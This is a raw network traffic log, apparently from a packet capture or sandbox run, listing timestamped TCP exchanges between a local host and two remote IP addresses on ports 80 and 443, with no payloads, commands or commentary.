Nov 20, 2024 04:08:10.930085897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930118084 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930134058 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930150032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930165052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930172920 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930192947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930212021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930213928 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930227995 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930234909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930246115 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930253983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930260897 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930279016 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930303097 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930304050 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930332899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930347919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930363894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930397987 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930397987 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930461884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930478096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930494070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930511951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930517912 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930536985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930541039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930552959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930568933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930571079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930584908 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930608034 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930614948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930614948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930624008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930634022 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930641890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930649042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930651903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930690050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930704117 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930705070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930723906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930738926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930753946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930754900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930772066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.930774927 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930774927 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930804014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930804014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.930823088 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.931879044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.931895018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.931919098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.931934118 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.931941032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.931956053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.931971073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.931972027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.931992054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.931996107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932015896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932035923 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932316065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932329893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932377100 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932378054 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932441950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932456970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932481050 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932495117 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932496071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932513952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932516098 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932528973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932534933 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932548046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932559013 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932559967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932564974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932578087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932584047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932604074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932624102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932640076 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932643890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932671070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932687044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932703018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932706118 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932720900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932723999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932738066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932742119 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932760954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932768106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932777882 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932784081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932797909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932816982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932825089 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932832956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932847023 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932849884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932878017 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932883978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932895899 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932904959 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932912111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932924032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932928085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932950020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932950020 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932955980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932969093 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.932974100 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.932991982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.933007002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933008909 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.933024883 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.933028936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933042049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.933053017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933053017 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933060884 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.933079004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.933079958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933079958 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933099031 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933103085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.933121920 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.933136940 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933152914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933171988 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.933188915 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.933248043 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.970308065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.970334053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.970347881 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.970423937 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.970474958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.970491886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.970508099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.970525026 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.970527887 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.970716953 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.978046894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978072882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978096008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978112936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978130102 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978204012 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.978270054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978286028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978302956 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978327990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978343964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978358030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978365898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978374004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978382111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978398085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.978399038 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978398085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.978419065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978436947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978449106 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.978452921 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978471041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978496075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978507042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.978507042 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.978512049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:10.978549004 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:10.978579044 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.016364098 CET	443	62440	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.017080069 CET	62440	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.017112017 CET	443	62440	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.017910957 CET	62440	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.017915964 CET	443	62440	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.019745111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.019761086 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.019902945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.019902945 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.019927979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.019947052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.019967079 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.019994974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020023108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020100117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020117044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020131111 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020148039 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020148993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020164967 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020180941 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020190954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020195961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020212889 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020226955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020232916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020261049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020289898 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020468950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020482063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020498037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020514965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020530939 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020538092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020569086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020595074 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020653963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020668983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020689011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020704985 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020709038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020745993 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020778894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020812988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020828009 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020843029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020857096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.020868063 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020924091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.020986080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021012068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021029949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021043062 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021045923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021063089 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021079063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021094084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021095037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021109104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021133900 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021135092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021152973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021157026 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021169901 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021187067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021187067 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021228075 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021251917 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021311045 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021326065 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021368027 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021369934 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021390915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021416903 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021497011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021512032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021521091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021534920 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021550894 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.021565914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021596909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.021621943 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.022422075 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022459030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022475958 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022486925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.022492886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022505999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.022511005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022527933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022550106 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.022569895 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022572041 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.022588968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022614956 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.022650957 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.022937059 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022953033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.022968054 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023061991 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023071051 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023132086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023255110 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023271084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023286104 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023300886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023319006 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023351908 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023386955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023406982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023432970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023447990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023463011 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023477077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023478031 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023497105 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023495913 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023514032 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023529053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023541927 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023561954 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023576021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023576975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023593903 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023598909 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023611069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023627996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023634911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023664951 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023682117 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023726940 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023744106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023760080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023775101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023787975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023788929 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023807049 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023811102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023822069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023839951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023845911 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023891926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.023897886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023915052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023931980 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023947001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.023957014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.024004936 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.024086952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.024102926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.024117947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.024127960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.024135113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.024142981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.024225950 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.024225950 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.043162107 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.043643951 CET	62439	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.043678999 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.044400930 CET	62439	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.044406891 CET	443	62439	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.058726072 CET	80	62430	31.41.244.11	192.168.2.4
